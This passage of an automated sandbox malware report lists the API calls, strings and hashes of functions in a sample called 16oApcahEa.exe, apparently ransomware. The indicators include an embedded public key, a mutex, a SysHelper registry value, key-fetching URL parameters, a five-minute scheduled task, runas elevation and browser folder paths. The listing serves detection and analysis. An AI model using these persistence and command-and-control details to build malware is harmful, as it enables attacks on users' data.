std::exception::exception.LIBCMT ref: 04D9FBF1

Part of subcall function 04D8169C: std::exception::_Copy_str.LIBCMT ref: 04D816B5

__CxxThrowException@8.LIBCMT ref: 04D9FC06

Strings

TeM, xrefs: 04D9FBE7, 04D9FBFB
TeM, xrefs: 04D9FBFE

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 27ecd92a889da474db7030c5abab00161c0301611193956ae9b4784a68e472c5
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 3ED06775D0020CBBDB00FFA5D45ADEEBBB8EA04348F408466A95497241EA74A74E8B94

Function 04D5D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 04D7197D: __wfsopen.LIBCMT ref: 04D71988

_fgetws.LIBCMT ref: 04D5D15C

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 78ba2f00b0eb8f3da1d5cfab0965d1cb7c191c0603f65093a89aaadd3abf9a8e
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 4A918F71E00219ABEF21DFA4D844BAEB7F6BF04304F144529EC15A3260EB75BA44CBB5

Function 04D5D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 04D5D77E
_malloc.LIBCMT ref: 04D5D7B2
_malloc.LIBCMT ref: 04D5D7C1
_fprintf.LIBCMT ref: 04D5D815

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: b48906b8fce1b0ffd0f36e24a3c75c4d795c86638c05a35d537ef96eb2308aa8
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: BBA18EB1D00248EBEF11EFA4C845BDEBFB5EF14308F144068D40676291E7B66A58CBB6

Function 04D72AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 04D72B2E
__read_nolock.LIBCMT ref: 04D72BFE
__filbuf.LIBCMT ref: 04D72C21
_memset.LIBCMT ref: 04D72C65

Part of subcall function 04D75BA8: __getptd_noexit.LIBCMT ref: 04D75BA8

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: ca9a60b914c94b5ed1dcfb8c3a684e6810f420e07788c32019acbcc0685466d8
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 9651AF34B003859BDB298F69888066EBBB5FF50324F1487A9E875962D4F771FA508B50

Function 04D91359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 04D9137D

Part of subcall function 04D91A9D: __fltout2.LIBCMT ref: 04D91AC6

__cftog_l.LIBCMT ref: 04D913A3
__cftoe_l.LIBCMT ref: 04D913D5

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 35efba245cfd102d4507573f721ef43ef3d3a690b1d5da9e91efb1730f625bef
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: A7017E3210014ABBEF126E84CC01CED3FB6FB19344F088515FE9898430D332E9B2AB81

Function 04E17A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 04E17A4B

Part of subcall function 04E18140: ___BuildCatchObjectHelper.LIBCMT ref: 04E18172
Part of subcall function 04E18140: ___AdjustPointer.LIBCMT ref: 04E18189

_UnwindNestedFrames.LIBCMT ref: 04E17A62
___FrameUnwindToState.LIBCMT ref: 04E17A74
CallCatchBlock.LIBCMT ref: 04E17A98

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: ec56797f0bb995ea0bf5307678647a0a8d4cadb1fef5703b01f8e6aa26201195
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 65012536040109BBDF12AF55CC00EDA3BBAFF48B58F149015FE5866130D332E9A1EBA0

Analysis Process: 16oApcahEa.exePID: 2380, Parent PID: 6556COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15%
Total number of Nodes:	2000
Total number of Limit Nodes:	182

Executed Functions

Function 00419F90 Relevance: 178.3, APIs: 65, Strings: 36, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF10: _memset.LIBCMT ref: 0040CF4A
Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,006FB658,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi, xrefs: 0041A255, 0041A37B, 0041A847, 0041A955, 0041A962, 0041A97F, 0041A980, 0041A9F2, 0041A9FF, 0041AA16, 0041AA17
IsAutoStart, xrefs: 0041A1D0, 0041A273
--Task, xrefs: 0041A2CD
D:\Windows\, xrefs: 0041AFF3
X1P, xrefs: 0041A485
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
x*P, xrefs: 0041ACE4
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
list<T> too long, xrefs: 0041B669, 0041B673
<, xrefs: 0041A67B
%username%, xrefs: 0041B283
--ForNetRes, xrefs: 0041A22E
--Admin, xrefs: 0041A1B4, 0041A632
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
C:\Program Files\Google\, xrefs: 0041AFB9
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
--AutoStart, xrefs: 0041A2EC
runas, xrefs: 0041A6CE
IsNotAutoStart, xrefs: 0041A645
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
I:\5d2860c89d774.jpg, xrefs: 0041B32F
--Service, xrefs: 0041A30B
D:\Program Files (x86)\Google\, xrefs: 0041B085
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
D:\Program Files\Google\, xrefs: 0041B0EE
IsTask, xrefs: 0041A1EE, 0041A299
IsNotTask, xrefs: 0041A654
F:\, xrefs: 0041B397
x2Q, xrefs: 0041A856
7P, xrefs: 0041B164
C:\Windows\, xrefs: 0041AE0F
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-1334017397
Opcode ID: 23df1a0e0c3e19eab02692678805fc0751f8d37a87efef984bde126ec15358d4
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 23df1a0e0c3e19eab02692678805fc0751f8d37a87efef984bde126ec15358d4
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 00481920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00481A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00481A81
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00481EDD
GetTickCount.KERNEL32 ref: 00481F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00481F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00481F95
Heap32Next.KERNEL32(?,?,?,?,?,F6B4E783), ref: 00481FE3
GetTickCount.KERNEL32 ref: 00481FF1
Heap32ListNext.KERNEL32(?,?), ref: 00482058
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
Process32First.KERNEL32(?,00000128), ref: 004820AA
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

USER32.DLL, xrefs: 00481C31
Heap32ListFirst, xrefs: 00481DB4
CloseToolhelp32Snapshot, xrefs: 00481D7B
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
Process32Next, xrefs: 00481DED
GetForegroundWindow, xrefs: 00481C4A
NETAPI32.DLL, xrefs: 004819A9
CreateToolhelp32Snapshot, xrefs: 00481D67
NetApiBufferFree, xrefs: 004819F0
Module32Next, xrefs: 00481E39
CryptAcquireContextW, xrefs: 00481AD5
KERNEL32.DLL, xrefs: 0048199C
GetCursorInfo, xrefs: 00481C58
$, xrefs: 00481F7E
Process32First, xrefs: 00481DDA
Heap32First, xrefs: 00481D8E
Module32First, xrefs: 00481E26
ADVAPI32.DLL, xrefs: 00481989
Heap32Next, xrefs: 00481DA1
CryptGenRandom, xrefs: 00481AE3
NetStatisticsGet, xrefs: 004819E2
LanmanServer, xrefs: 00481A74
GetQueueStatus, xrefs: 00481C6B
Thread32Next, xrefs: 00481E13
Heap32ListNext, xrefs: 00481DC7
LanmanWorkstation, xrefs: 00481A26
Thread32First, xrefs: 00481E00
CryptReleaseContext, xrefs: 00481AF6

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 7892fcb137716207a1425ae7febf787ac69884024082663a250f7990229244b5
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 0041E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,004CB3EC,000000FF), ref: 0041E6C0

Part of subcall function 0040C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
Part of subcall function 0040C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
Part of subcall function 0040C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0040C700

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

Microsoft Internet Explorer, xrefs: 0041E736
{"public_key":", xrefs: 0041EA2E, 0041EA8D
&first=false, xrefs: 0041E937
.bit/, xrefs: 0041E7A3
", xrefs: 0041ECA0
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
?pid=, xrefs: 0041E884
&first=true, xrefs: 0041E930
","id":", xrefs: 0041EBC5, 0041EC4C

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 062e6966d361ea6f999a822218a8c3260522c652a690dbe4124152cd4a453dc9
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 062e6966d361ea6f999a822218a8c3260522c652a690dbe4124152cd4a453dc9
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Trigger1, xrefs: 0040D6FA
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
PT5M, xrefs: 0040D5A1, 0040D66C
--Task, xrefs: 0040D8DD
Time Trigger Task, xrefs: 0040D43C, 0040D973
Author Name, xrefs: 0040D4C8
2030-05-02T08:00:00, xrefs: 0040D737
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 7d9f57a39892d3eeda38e99f33e8baa4ba101d8069d2d1ff5206b616a8e625d8
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 7d9f57a39892d3eeda38e99f33e8baa4ba101d8069d2d1ff5206b616a8e625d8
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: cffbae393b9c2034aaa015718cd028ffd9aba4d39295b0a39f2b934ffbce0a78
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

